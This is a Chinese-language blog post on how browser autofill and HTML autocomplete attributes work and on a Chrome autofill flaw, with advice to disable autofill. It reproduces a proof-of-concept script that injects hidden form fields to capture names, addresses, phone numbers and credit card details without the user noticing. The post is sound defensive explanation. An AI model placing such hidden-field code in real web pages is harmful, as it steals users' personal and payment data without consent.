Chrome中自动填充的危险性浅析 从属于笔者的 网络信息安全攻防实战 。笔者最早是在 Github 上看到了有关利用自动填充窃取数据的 POC ,本文是对于自动填充机制及其危险性的分析,参考了 Why Chrome’s autocomplete is insecure and how you can turn it off 与 Autofill: What web devs should know, but don’t 。更多参考 Web 应用安全基础 。
自动填充(Autofill)是个非常重要的特性,它能帮助用户节省很多填写表单的时间,Google 也曾调查得出过结论 users complete forms up to 30% faster 。我们首先来讨论下自动填充的工作原理,以及如何构建跨浏览器的自动填充表单。
早年各个浏览器之间对于自动填充并没有统一的标准,后来HTML5标准中加入了对于 autocomplete
属性的支持,以协调浏览器对于表单域的识别。最初 autocomplete
属性仅支持 on
与 off
两种取值,默认情况下是会启动自动填充功能以方便浏览器会将用户提交过的表单值记录下来以便复用。后续HTML标准中允许加入更多的 标识值 ,这些标识值会更加精确地告诉浏览器应将哪些记录值对应到哪些表单。譬如我们经常需要在网页上填写地址信息,如果我们希望浏览器能够记录下常用地址信息并且自动补全,那么可以使用如下声明方式:
<textarea name="shipping-address" autocomplete="shipping street-address"></textarea> <input type="text" name="shipping-city" autocomplete="shipping address-level2"> <input type="text" name="shipping-state" autocomplete="shipping address-level1"> <input type="text" name="shipping-country" autocomplete="shipping country-name"> <input type="text" name="shipping-postal-code" autocomplete="shipping postal-code">
其他常见的自动填充的使用场景还包括电话号码、邮箱地址、即时通信账户等,完整的自动填充标识声明规范为:
[section-](optional) [shipping|billing](optional) [home|work|mobile|fax|pager](optional) [autofill field name]
其中 [home|work|mobile|fax|pager]
仅被用于电话、邮箱等场景。而完整的应用场景譬如是填写收货地址的收件人电话时:
<label for="foo">Mobile phone for delivery</label> <input type="text" name="foo" id="foo" autocomplete="section-red shipping mobile tel">
最后,我们来看下自动填充在笔者电脑上的现实效果:
自动填充是个非常方便地浏览器特性,不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名 漏洞 。简单而言,黑客能够利用自动填充窃取你并不想提交给该网站的信息,就如下面这个动图:
Github 用户 haampie 使用如下脚本演示了该漏洞:
var autocompletes = ['name', 'honorific-prefix', 'given-name', 'additional-name', 'family-name', 'honorific-suffix', 'nickname', 'username', 'new-password', 'current-password', 'organization-title', 'organization', 'street-address', 'address-line1', 'address-line2', 'address-line3', 'address-level4', 'address-level3', 'address-level2', 'address-level1', 'country', 'country-name', 'postal-code', 'cc-name', 'cc-given-name', 'cc-additional-name', 'cc-family-name', 'cc-exp', 'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type', 'transaction-currency', 'transaction-amount', 'language', 'bday', 'bday-day', 'bday-month', 'bday-year', 'sex', 'url', 'photo', 'tel', 'tel-country-code', 'tel-national', 'tel-area-code', 'tel-local', 'tel-local-prefix', 'tel-local-suffix', 'tel-extension', 'impp' ]; emailField.addEventListener('focus', function() { var wrap = autocompletes.reduce(function(wrapper, field) { var input = document.createElement('input'); // Make them not focussable input.tabIndex = -1; input.autocomplete = field; wrapper.appendChild(input); return wrapper; }, document.createElement('div')); // Hide the wrapper wrap.classList.add('hidden'); form.appendChild(wrap); // Inject the autocompletes once this.removeEventListener('focus', arguments.callee); });
作者是建议大家关闭 Chrome 的自动填充功能,主要步骤为:
进入 Chrome 设置: chrome://settings/autofill
关闭当前模态窗口
反选自动填充选项